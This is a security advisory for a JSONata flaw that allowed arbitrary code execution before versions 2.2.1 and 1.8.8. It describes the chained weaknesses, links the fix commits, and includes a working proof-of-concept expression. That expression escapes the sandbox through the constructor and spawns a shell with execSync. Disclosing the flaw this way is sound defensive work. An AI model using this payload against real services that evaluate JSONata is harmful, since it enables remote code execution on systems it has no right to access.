CVE-2026-77415: JSONata: Arbitrary Code Execution via crafted JSONata expressions

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to: - overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g. $merge.) - applyProcedure using proc.arguments.forEach and not Array.prototype.forEach

Which could be chained to execute arbitrary code.

This was fixed with:

- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802

Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.

PoC

js import jsonata from "jsonata";

const expression = jsonata( ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.)[1];

$fn := function($a) { ( $a({"value":"lg"},"lookupGetter"); $a({"value":"x"},"x"); ) };

$nop := function() { $ };

$capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | };

$ ~> | $ | $m([$nop,{"jsonatalambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"jsonatalambda":false}]).body}|; $func := $m([$,{"jsonatalambda":true}]); $func();

$gP := $obj.lg("proto");

$afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")()}; ) );

await expression.evaluate({});

References

- https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de

- https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc

- https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04